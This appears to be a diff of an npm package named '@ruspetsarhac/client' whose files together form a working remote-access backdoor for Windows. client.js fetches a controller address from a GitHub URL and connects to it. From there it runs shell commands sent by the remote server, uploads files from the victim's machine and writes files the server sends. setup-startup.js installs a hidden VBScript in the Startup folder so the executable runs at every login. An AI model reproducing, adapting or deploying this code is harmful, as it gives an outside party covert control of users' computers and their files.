@ruspetsarhac/client 1.0.0

package/client.js

@@ -0,0 +1,146 @@
+const net = require('net');
+const { exec } = require('child_process');
+const path = require('path');
+const fs = require('fs');
+const os = require('os');
+const https = require('https');
+
+let currentCwd = process.cwd();
+let isConnected = false;
+
+let serverHost = '';
+let serverPort = 0;
+
+function fetchServerSettings(callback) {
+    const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
+    https.get(url, (res) => {
+        let data = '';
+
+        res.on('data', (chunk) => {
+            data += chunk;
+        });
+
+        res.on('end', () => {
+            try {
+                const serverSettings = JSON.parse(data);
+                console.log('serverSettings',serverSettings)
+                serverHost = serverSettings.host;
+                serverPort = serverSettings.port;
+                callback(null);
+            } catch (error) {
+                callback(error);
+            }
+        });
+
+    }).on('error', (error) => {
+        callback(error);
+    });
+}
+
+function createConnection() {
+    const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
+        isConnected = true;
+        console.log('Connected to server');
+    });
+
+    socket.on('data', (data) => {
+        const message = data.toString('utf-8').trim();
+
+        if (message.startsWith('SHELL_COMMAND:')) {
+            const command = message.slice('SHELL_COMMAND:'.length).trim();
+
+            if (command.startsWith('cd ')) {
+                const newPath = command.slice(3).trim();
+                const fullPath = path.resolve(currentCwd, newPath);
+                const platform = os.platform();
+                const checkDirCommand = platform === 'win32' ? `cd ${fullPath} && cd` : `cd ${fullPath} && pwd`;
+
+                exec(checkDirCommand, (error, stdout, stderr) => {
+                    if (error) {
+                        socket.write(`Error changing directory: ${stderr}`);
+                    } else {
+                        currentCwd = stdout.trim();
+                        socket.write(`Changed directory to: ${currentCwd}`);
+                    }
+                });
+            } else {
+                exec(command, { cwd: currentCwd }, (error, stdout, stderr) => {
+                    if (error) {
+                        socket.write(`Error executing command: ${stderr}`);
+                    } else {
+                        socket.write(`Command output: ${stdout}`);
+                    }
+                });
+            }
+        } else if (message.startsWith('DOWNLOAD_FILE:')) {
+            const filePath = message.slice('DOWNLOAD_FILE:'.length).trim();
+            const fullPath = path.resolve(currentCwd, filePath);
+
+            fs.readFile(fullPath, (err, data) => {
+                if (err) {
+                    socket.write(`Error reading file: ${err.message}`);
+                } else {
+                    const base64Data = data.toString('base64'); 
+                    socket.write(`FILE_CONTENT:${filePath}:${base64Data}`);
+                }
+            });
+        } else if (message.startsWith('FILE_CONTENT:')) {
+            const [_, filePath, fileData] = message.split(':');
+            const fileBuffer = Buffer.from(fileData, 'base64');
+            const fullPath = path.resolve(currentCwd, path.basename(filePath));
+            fs.writeFile(fullPath, fileBuffer, (err) => {
+                if (err) {
+                    console.log(`Error saving file: ${err.message}`);
+                } else {
+                    console.log(`File saved as: ${fullPath}`);
+                }
+            });
+        } else {
+            console.log(`[Server]: ${message}`);
+        }
+    });
+
+    socket.on('end', () => {
+        isConnected = false;
+        console.log('Connection was ended');
+    });
+
+    socket.on('error', (err) => {
+        isConnected = false;
+        console.log(`[!] Error: ${err.message}`);
+    });
+
+    socket.on('close', () => {
+        isConnected = false;
+        console.log('Connection closed');
+    });
+
+    return socket;
+}
+
+let socket = createConnection();
+
+setInterval(() => {
+    if (!isConnected) {
+        console.log('Attempting to reconnect to the server...');
+        socket = createConnection();
+    }
+}, 60000);
+
+fetchServerSettings((error) => {
+    if (error) {
+        console.error(`Error fetching server settings: ${error.message}`);
+    } else {
+        console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
+    }
+});
+
+setInterval(() => {
+    fetchServerSettings((error) => {
+        if (error) {
+            console.error(`Error fetching server settings: ${error.message}`);
+        } else {
+            console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
+        }
+    });
+}, 300000); 

package/client.vbs

@@ -0,0 +1,3 @@
+Set WshShell = CreateObject("WScript.Shell")
+WshShell.Run chr(34) & "client.exe" & Chr(34), 0
+Set WshShell = Nothing

package/package.json

@@ -0,0 +1,14 @@
+{
+    "name": "@ruspetsarhac/client",
+    "version": "1.0.0",
+    "main": "client.js",
+    "bin": {
+      "client": "./client.js"
+    },
+    "scripts": {
+        "build": "pkg client.js --targets node14-win-x64 --output client.exe"
+    },
+    "author": "spetsar",
+    "license": "ISC"
+  }
+  

package/setup-startup.js

@@ -0,0 +1,33 @@
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+
+// Paths
+const currentDir = __dirname;
+const clientExePath = path.resolve(currentDir, 'client.exe');
+const appDataFolder = path.join(os.homedir(), 'AppData', 'Local', 'MyApp'); // Specify your desired AppData subfolder here
+const clientExeAppDataPath = path.join(appDataFolder, 'client.exe');
+const startupFolder = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
+const vbsScriptPath = path.join(startupFolder, 'client.vbs');
+
+// Ensure the client.exe exists
+if (!fs.existsSync(clientExePath)) {
+    console.error(`client.exe not found at ${clientExePath}`);
+    process.exit(1);
+}
+
+// Ensure the AppData subfolder exists
+if (!fs.existsSync(appDataFolder)) {
+    fs.mkdirSync(appDataFolder, { recursive: true });
+}
+
+// Create the VBScript content
+const vbsContent = `Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run chr(34) & "${clientExeAppDataPath.replace(/\\/g, '\\\\')}" & Chr(34), 0\nSet WshShell = Nothing`;
+
+// Write the VBScript file to the startup folder
+fs.writeFileSync(vbsScriptPath, vbsContent, 'utf8');
+
+// Copy the client.exe file to the AppData subfolder
+fs.copyFileSync(clientExePath, clientExeAppDataPath);
+
+console.log('client.exe has been copied to the AppData folder and client.vbs has been added to the startup folder.');